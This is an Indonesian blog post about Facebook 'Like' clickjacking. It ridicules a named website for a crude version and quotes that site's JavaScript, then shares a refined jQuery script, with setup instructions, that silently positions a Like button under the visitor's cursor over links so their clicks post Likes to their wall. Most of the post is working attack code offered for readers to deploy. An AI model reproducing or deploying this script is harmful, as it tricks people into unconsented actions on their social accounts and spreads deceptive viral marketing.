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Jumat, 30 Maret 2012

Facebook Like Clickjacking

Saya sering menemui website-website yang juga mengaplikasikan clickjacking untuk fans pagenya meski dengan javascript sederhana dan menampakan ketololan pemilik fanspage, apalagi untuk sebuah korporate besar. Sebagai contoh situs yang melakukan facebook like hijacking adalah nasionalbootcamp.com yang memiliki semboyan : DIBUTUHKAN IDE IDE GILA, CERDAS & BERANI GRATIS di INTERNET. Mungkin maksudnya ide ide gila disini termasuk mengaplikasikan teknik-teknik blackhat social media dan SEO. Seharusnya mereka menggunakan tagline NASIONAL BLACKHAT BOOT CAMP. Pasti jualan seminar bisa lebih laris manis.


Apa itu Facebook Like Clickjacking?


Klik gambar diatas dan lihat panah merah. Itu adalah cursor Anda. Kemanapun cursor Anda bergerak, sebuah button, yakni button facebook like mengikutinya. Dan setiap Anda mengklik sesuatu pada halaman itu, jelas button tersebutlah yang akan Anda klik. Jika Anda sedang dalam keadaan login Facebook atau masih menyimpan cookies Facebook yang aktif, Anda akan langsung dinyatakan meng-like situs tersebut dan otomatis akan memposting ke wall facebook Anda, diikuti oleh teman-teman Anda yang melihat post tersebut pada feed facebook mereka. Viral marketing!

Sayangnya contoh situs diatas terlalu kasar mengaburkan frame dibawahnya sehingga masih kelihatan user.Memalukan! Shame on you (baby) blackhatter!

Situs diatas menggunakan format javascript seperti berikut :

<script type="text/javascript">       
      $(window).load(function() {  
       var Xcord = 0,  
       Ycord = 0,  
       IE = document.all ? true : false;  
       if (!IE) document.captureEvents(Event.MOUSEMOVE);  
       var lbox = document.createElement('iframe');  
       lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/NasionalBootcamp') + '&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=lbox&amp;colorscheme=light&amp;height=80';  
       lbox.scrolling = 'no';  
       lbox.frameBorder = 0;  
       lbox.allowTransparency = 'true';  
       lbox.style.border = 0;  
       lbox.style.overflow = 'hidden';  
       lbox.style.cursor = 'pointer';  
       lbox.style.width = '54px';  
       lbox.style.height = '24px';  
       lbox.style.position = 'absolute';  
       lbox.style.opacity = 0.5;  
       document.getElementsByTagName('body')[0].appendChild(lbox);  
       window.addEventListener('mousemove', mouseMove, false);  
       setTimeout(function(){  
           document.getElementsByTagName('body')[0].removeChild(lbox);  
           window.removeEventListener('mousemove', mouseMove, false);  
       }, 20000);  
       function mouseMove(e) {  
           if (IE) {  
            Xcord = event.clientX + document.body.scrollLeft;  
            Ycord = event.clientY + document.body.scrollTop;  
           } else {  
            Xcord = e.pageX;  
            Ycord = e.pageY;  
           }  
           if (Xcord < 0) Xcord = 0;  
           if (Ycord < 0) Ycord = 0;  
           lbox.style.top = (Ycord - 9) + 'px';  
           lbox.style.left = (Xcord - 25) + 'px';  
           return true  
       }            
      });       
 </script>    

Karena opacity distel 0.5, jelas pengunjung akan melihat hal yang aneh dibawah cursor mereka :P

Berikut ini saya akan share script untuk meng-hijack like ke halaman facebook fans menggunakan jquery agar lebih 'clean' dan berhati-hati. Script diatas adalah hasil karya teman saya seorang creative hacker : Fernando Magro.

Panggil jquery, FBML, dan script hijacking kedalam header html Anda :

<script src="http://code.jquery.com/jquery-1.5.js"></script>  
 <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>  
 <script>window.DO_CLICKJACKING = 1</script>  
 <script src="clickjacking.js"></script>  

Dan ini adalah isi script hijacking Anda (clickjacking.js) :

var $J = jQuery.noConflict();   
 // solve: images and floating divs  
 function heightestChild(elem)  
 {  
      var t=0;  
      var t_elem;  
      $J("*",elem).each(function () {  
        if ( $J(this).outerHeight(true) > t ) {  
          t_elem=$J(this);  
          t=t_elem.outerHeight(true);  
        }  
      });  
      // we care about the heighest  
      if (elem.outerHeight(true) > t)  
      {  
           t = elem.outerHeight(true);  
      }  
      //return elem.outerHeight(true);  
      return t+3; // hotfix  
 }  
 function highestOffsetTop(elem)  
 {  
      var t=elem.offset().top;  
      var t_elem;  
      $J("*",elem).each(function () {  
        if ( $J(this).offset().top < t ) {  
          t_elem=$J(this);  
          t=t_elem.offset().top;  
        }  
      });  
      // we only care about the object that is most on top  
      if (elem.offset().top < t)  
      {  
           t = elem.offset().top;  
      }  
      //return elem.offset().top;  
      return t+3;  
 }  
 // 57 19 63  
 $J(document).ready(function(){  
      if (window.DO_CLICKJACKING) { // wrap up EVERYTHING  
      /*$J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');*/  
      $J("body").append('<div id="clickjacking" style="position:absolute;display:block;"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');  
      var elementWidth = 0;  
      var elementHeight = 0;  
      var theElement = '';  
      var likeDone = 0;  
      if ($J.cookie("clickjacking_"+escape(document.URL)) == 1)  
      {  
           likeDone = 1;  
      }  
      // fired when the user clicks a link (likes our page) -> clickjacking is done  
      FB.Event.subscribe('edge.create', function(response) {  
            $J("#clickjacking").css("display", "none");  
            likeDone = 1;  
            $J.cookie("clickjacking_"+escape(document.URL), "1");  
            // let the user actually go to the link he clicked.  
            window.location.href = theElement.attr('href');  
      });  
 $J(document).mousemove(function(event) {  
           if (theElement != '')  
           {  
                if (event.pageY < (highestOffsetTop(theElement)-4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width()) )  
                {  
                     //alert(event.pageY + " " + theElement.height() + " " + theElement.offset().top);  
                /*     $J("#log").append("<p>mouse off the element LEFT " + event.pageX + " " + theElement.offset().left + " " + (theElement.offset().left + theElement.width()) + "</p>");  
                     $J("#log").append("<p>mouse off the element TOP " + event.pageY + " " + highestOffsetTop(theElement) + " " + (highestOffsetTop(theElement) + heightestChild(theElement,true)) + "</p>");*/  
                     theElement = ''; // the mouse is off theElement  
                     $J("#clickjacking").css("display", "none");  
                }  
                else  
                {  
                     if ($J.browser.msie) {  
                          $J("#clickjacking").css("top",(event.pageY-15)+"px");  
                          $J("#clickjacking").css("left",(event.pageX-20)+"px");  
                     }  
                     else  
                     {  
                          $J("#clickjacking").css("top",(event.pageY-5)+"px");  
                          $J("#clickjacking").css("left",(event.pageX-20)+"px");  
                     }  
                }  
           }  
 });  
 $J(document).delegate("a","mouseenter", function (){  
      // register mouse is inside element  
      if (likeDone == 0)  
      {  
           theElement = $J(this);  
           $J("#clickjacking").css("display", "block");  
      }  
 });   
 } // window.DO_CLICKJACKING  
 });  
 /**  
  * Cookie plugin  
  *  
  * Copyright (c) 2006 Klaus Hartl (stilbuero.de)  
  * Dual licensed under the MIT and GPL licenses:  
  * http://www.opensource.org/licenses/mit-license.php  
  * http://www.gnu.org/licenses/gpl.html  
  *  
  */  
 /**  
  * Create a cookie with the given name and value and other optional parameters.  
  *  
  * @example $.cookie('the_cookie', 'the_value');  
  * @desc Set the value of a cookie.  
  * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });  
  * @desc Create a cookie with all available options.  
  * @example $.cookie('the_cookie', 'the_value');  
  * @desc Create a session cookie.  
  * @example $.cookie('the_cookie', null);  
  * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain  
  *    used when the cookie was set.  
  *  
  * @param String name The name of the cookie.  
  * @param String value The value of the cookie.  
  * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.  
  * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.  
  *               If a negative value is specified (e.g. a date in the past), the cookie will be deleted.  
  *               If set to null or omitted, the cookie will be a session cookie and will not be retained  
  *               when the the browser exits.  
  * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).  
  * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).  
  * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will  
  *            require a secure protocol (like HTTPS).  
  * @type undefined  
  *  
  * @name $.cookie  
  * @cat Plugins/Cookie  
  * @author Klaus Hartl/klaus.hartl@stilbuero.de  
  */  
 /**  
  * Get the value of a cookie with the given name.  
  *  
  * @example $.cookie('the_cookie');  
  * @desc Get the value of a cookie.  
  *  
  * @param String name The name of the cookie.  
  * @return The value of the cookie.  
  * @type String  
  *  
  * @name $.cookie  
  * @cat Plugins/Cookie  
  * @author Klaus Hartl/klaus.hartl@stilbuero.de  
  */  
 jQuery.cookie = function(name, value, options) {  
   if (typeof value != 'undefined') { // name and value given, set cookie  
     options = options || {};  
     if (value === null) {  
       value = '';  
       options.expires = -1;  
     }  
     var expires = '';  
     if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {  
       var date;  
       if (typeof options.expires == 'number') {  
         date = new Date();  
         date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));  
       } else {  
         date = options.expires;  
       }  
       expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE  
     }  
     // CAUTION: Needed to parenthesize options.path and options.domain  
     // in the following expressions, otherwise they evaluate to undefined  
     // in the packed version for some reason...  
     var path = options.path ? '; path=' + (options.path) : '';  
     var domain = options.domain ? '; domain=' + (options.domain) : '';  
     var secure = options.secure ? '; secure' : '';  
     document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');  
   } else { // only name given, get cookie  
     var cookieValue = null;  
     if (document.cookie && document.cookie != '') {  
       var cookies = document.cookie.split(';');  
       for (var i = 0; i < cookies.length; i++) {  
         var cookie = jQuery.trim(cookies[i]);  
         // Does this cookie string begin with the name we want?  
         if (cookie.substring(0, name.length + 1) == (name + '=')) {  
           cookieValue = decodeURIComponent(cookie.substring(name.length + 1));  
           break;  
         }  
       }  
     }  
     return cookieValue;  
   }  
 };